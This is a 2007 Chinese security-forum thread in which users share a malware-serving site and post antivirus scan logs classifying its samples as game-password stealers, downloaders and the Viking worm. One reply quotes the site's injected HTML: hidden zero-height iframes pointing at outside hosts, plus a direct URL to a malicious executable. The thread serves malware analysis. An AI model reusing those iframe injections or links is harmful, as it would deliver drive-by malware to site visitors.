发个毒网

ask5

xiaochong.com.cn 拿去研究下


[ 本帖最后由 ask5 于 2007-11-17 16:03 编辑 ]

无敌敏敏

Starting the file scan:

Begin scan in 'E:\qejwho.rar'
E:\qejwho.rar
  [0] Archive type: RAR
  --> mppds.exe
      [DETECTION] Is the Trojan horse TR/Spy.Gen
  --> qejwho.exe
      [DETECTION] Is the Trojan horse TR/Spy.Gen
  --> qmdgka.exe
      [DETECTION] Is the Trojan horse TR/Dropper.Gen
  --> tmxldt.exe
      [DETECTION] Is the Trojan horse TR/Spy.Gen
      [INFO]      The file was deleted!
Begin scan in 'E:\lsmqdy.rar'
E:\lsmqdy.rar
  [0] Archive type: RAR
  --> jmyfog.exe
      [DETECTION] Is the Trojan horse TR/Spy.Gen
  --> ljwcgi.exe
      [DETECTION] Is the Trojan horse TR/Dropper.Gen
  --> Logo1_.exe
      [DETECTION] Contains detection pattern of the Windows virus W32/Viking.BD
  --> lsmqdy.exe
      [DETECTION] Is the Trojan horse TR/Dropper.Gen
  --> tjvart.exe
      [DETECTION] Is the Trojan horse TR/Spy.Gen
      [INFO]      The file was deleted!


End of the scan: 2007年11月17日  16:06
Used time: 00:37 min

The scan has been done completely.

      0 Scanning directories
     11 Files were scanned
      9 viruses and/or unwanted programs were found
      0 Files were classified as suspicious:
      2 files were deleted
      0 files were repaired
      0 files were moved to quarantine
      0 files were renamed
      0 Files cannot be scanned
      2 Files not concerned

promised

C:\ABC\lsmqdy.rar:\jmyfog.exe - 特征码 'Trojan-Downloader.Win32.Zlob.and' 被发现
C:\ABC\lsmqdy.rar:\ljwcgi.exe - 特征码 'Trojan-Spy.Win32.Agent.hz' 被发现
C:\ABC\lsmqdy.rar:\Logo1_.exe - 特征码 'Trojan-PWS.Win32.Nilage.afz' 被发现
C:\ABC\lsmqdy.rar:\lsmqdy.exe - 特征码 'Trojan-Downloader.Win32.Zlob.and' 被发现
C:\ABC\lsmqdy.rar:\tjvart.exe - 特征码 'Trojan-Downloader.Win32.Zlob.and' 被发现
C:\ABC\lsmqdy.rar
C:\ABC\qejwho.rar:\mppds.exe - 特征码 'Virus.Win32.Nilage.JY' 被发现
C:\ABC\qejwho.rar:\qejwho.exe - 特征码 'Trojan-Downloader.Win32.Zlob.and' 被发现
C:\ABC\qejwho.rar:\qmdgka.exe - 特征码 'Trojan-Downloader.Win32.Zlob.and' 被发现
C:\ABC\qejwho.rar:\tmxldt.exe - 特征码 'Trojan-Downloader.Win32.Zlob.and' 被发现
C:\ABC\qejwho.rar

promised

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="include/css.css" rel="stylesheet" type="text/css">
<iframe src=http://acc.jqxx.org/live/index.htm width=100 height=0></iframe>
<iframe src="http://boc.sbb22.com/home/index.htm" width=20 height=0></iframe>
<iframe src="http://boc.sbb22.com/home/index.htm" width=20 height=0></iframe>

<iframe src=http://acc.jqxx.org/live/index.htm width=100 height=0></iframe>
<iframe src="http://boc.sbb22.com/home/index.htm" width=20 height=0></iframe>
<iframe src="http://boc.sbb22.com/home/index.htm" width=20 height=0></iframe>
这些目前54掉,大部分应该连的这个
http://268ip.com/ad.exe

浪滔天

卡巴 7.0.1.275 BETA 高启发

已隔离: 病毒 Heur.Trojan.Generic （变种）        文件: F:\病毒样本\lsmqdy.rar/ljwcgi.exe//UPack
已隔离: 病毒 Heur.Trojan.Generic （变种）        文件: F:\病毒样本\lsmqdy.rar/lsmqdy.exe//PE_Patch//UPack
已删除: 病毒 Worm.Win32.Viking.bd        文件: F:\病毒样本\lsmqdy.rar/Logo1_.exe//UPack
已删除: 木马程序 Backdoor.Win32.Agent.afh        文件: F:\病毒样本\lsmqdy.rar/jmyfog.exe//PE_Patch
已删除: 木马程序 Backdoor.Win32.Agent.afh        文件: F:\病毒样本\lsmqdy.rar/tjvart.exe//PE_Patch
已删除: 木马程序 Backdoor.Win32.Agent.afh        文件: F:\病毒样本\qejwho.rar/qejwho.exe//PE_Patch
已删除: 木马程序 Backdoor.Win32.Agent.afh        文件: F:\病毒样本\qejwho.rar/tmxldt.exe//PE_Patch
已删除: 木马程序 Trojan-PSW.Win32.OnLineGames.gpd        文件: F:\病毒样本\qejwho.rar/mppds.exe
已删除: 木马程序 Trojan-PSW.Win32.OnLineGames.hzd        文件: F:\病毒样本\qejwho.rar/qmdgka.exe//PE_Patch//UPack

kkgh

瑞星病毒查杀结果报告

清除病毒种类列表：
病毒： Trojan.PSW.Win32.GameOnline.qy
病毒： Trojan.PSW.Win32.GameOnline.tz
病毒： Worm.Viking.el           
病毒： Trojan.PSW.Win32.RBLand.bp

用户来源：互联网

软件版本：20.18.50

日期： 17.11.2007  时间：16:13:44
已开启反隐藏功能.
已扫描的磁盘，文件夹及文件：C:\qejwho.rar; C:\lsmqdy.rar
C:\qejwho.rar >>RAR >>mppds.exe - Win32/PSW.OnLineGames.NFL 木马
C:\qejwho.rar >>RAR >>qejwho.exe - 可能是 Win32/PSW.OnLineGames.NFL 木马 的一个变种
C:\qejwho.rar >>RAR >>qmdgka.exe - Win32/PSW.OnLineGames.NFL 木马的变种
C:\qejwho.rar >>RAR >>tmxldt.exe - 可能是 Win32/PSW.OnLineGames.NFL 木马 的一个变种
C:\qejwho.rar - 多重感染 - 已删除
C:\lsmqdy.rar >>RAR >>jmyfog.exe - 可能是 Win32/PSW.OnLineGames.NFL 木马 的一个变种
C:\lsmqdy.rar >>RAR >>ljwcgi.exe - Win32/PSW.OnLineGames.YA 木马的变种
C:\lsmqdy.rar >>RAR >>Logo1_.exe - Win32/Viking.BY 病毒
C:\lsmqdy.rar >>RAR >>lsmqdy.exe - Win32/PSW.OnLineGames.NFL 木马的变种
C:\lsmqdy.rar >>RAR >>tjvart.exe - 可能是 Win32/PSW.OnLineGames.NFL 木马 的一个变种
C:\lsmqdy.rar - 多重感染 - 已删除
已扫描的文件数目：11
已发现的病毒数目：9
已清除病毒的文件数目：2
完成时间： 16:13:48 总扫描时间：4 秒 (00:00:04)

啊弥陀佛

程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\LSMQDY\LJWCGI.EXE
木马程序生成以下文件:
1) C:\WINDOWS\GENPROTECT.EXE
2) C:\WINDOWS\SYSTEM32\GENPROTECT.DLL
是否删除木马程序及其衍生物?

程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\LSMQDY\LOGO1_.EXE
木马程序生成以下文件:
1) C:\WINDOWS\RUNDL132.EXE
2) C:\WINDOWS\DLL.DLL
是否删除木马程序及其衍生物?

程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\LSMQDY\LSMQDY.EXE
木马程序生成以下文件:
1) C:\WINDOWS\CMDBCS.EXE
2) C:\WINDOWS\SYSTEM32\CMDBCS.DLL
是否删除木马程序及其衍生物?


木马名称:未知间谍软件
程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\LSMQDY\TJVART.EXE
是木马程序!
已成功阻止其运行,是否要删除此文件?

木马名称:未知间谍软件
程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\QEJWHO\QEJWHO.EXE
是木马程序!
已成功阻止其运行,是否要删除此文件?

木马名称:未知间谍软件
程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\QEJWHO\TMXLDT.EXE
是木马程序!
已成功阻止其运行,是否要删除此文件?

程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\QEJWHO\MPPDS.EXE
木马程序生成以下文件:
1) C:\WINDOWS\MPPDS.EXE
2) C:\WINDOWS\SYSTEM32\MPPDS.DLL
是否删除木马程序及其衍生物?

程序:
C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\QEJWHO\QMDGKA.EXE
木马程序生成以下文件:
1) C:\WINDOWS\DBGHLP32.EXE
2) C:\WINDOWS\SYSTEM32\DBGHLP32.DLL
是否删除木马程序及其衍生物?

qigang

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.PSW.Win32.GameOnline.qy
病毒： Trojan.PSW.Win32.GameOnline.tz
病毒： Trojan.PSW.Win32.GameOnline.ahk
病毒： Trojan.PSW.Win32.GameOnline.ahe
病毒： Worm.Viking.el           
病毒： Trojan.PSW.Win32.RBLand.bp

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.18.51

qigang

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.Win32.Mnless.zgw  

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.18.52

uhthn2002

Uhthn Anti-Spyware V3 Alpha
Version - 3.0.0
Standard Database - 906
Paranoia Database - 48810
Heuristics Analysis - Excessive
Scan in - C:\Documents and Settings\Uhthn\Desktop\New Folder (2)

C:\Documents and Settings\Uhthn\Desktop\New Folder (2)\mppds.exe - Infected TROJAN-PSW.ONLINEGAMES.12 - Deleted
C:\Documents and Settings\Uhthn\Desktop\New Folder (2)\qejwho.exe - Suspected TROJAN-PSW.ONLINEGAMES.2
C:\Documents and Settings\Uhthn\Desktop\New Folder (2)\qmdgka.exe - Infected TROJAN-PSW.ONLINEGAMES.117 - Deleted
C:\Documents and Settings\Uhthn\Desktop\New Folder (2)\tmxldt.exe - Suspected TROJAN-PSW.ONLINEGAMES.2
C:\Documents and Settings\Uhthn\Desktop\New Folder (2)\jmyfog.exe - Suspected TROJAN-PSW.ONLINEGAMES.2
C:\Documents and Settings\Uhthn\Desktop\New Folder (2)\ljwcgi.exe - Suspected MaliciousScope:GENERIC.MALWARE.3
C:\Documents and Settings\Uhthn\Desktop\New Folder (2)\Logo1_.exe - OK
C:\Documents and Settings\Uhthn\Desktop\New Folder (2)\lsmqdy.exe - Infected TROJAN-PSW.GAME.3 - Deleted
C:\Documents and Settings\Uhthn\Desktop\New Folder (2)\tjvart.exe - Suspected TROJAN-PSW.ONLINEGAMES.2

9 Files scanned
3 Infected files found
5 Suspected files found
0 Files disinfected
3 Files deleted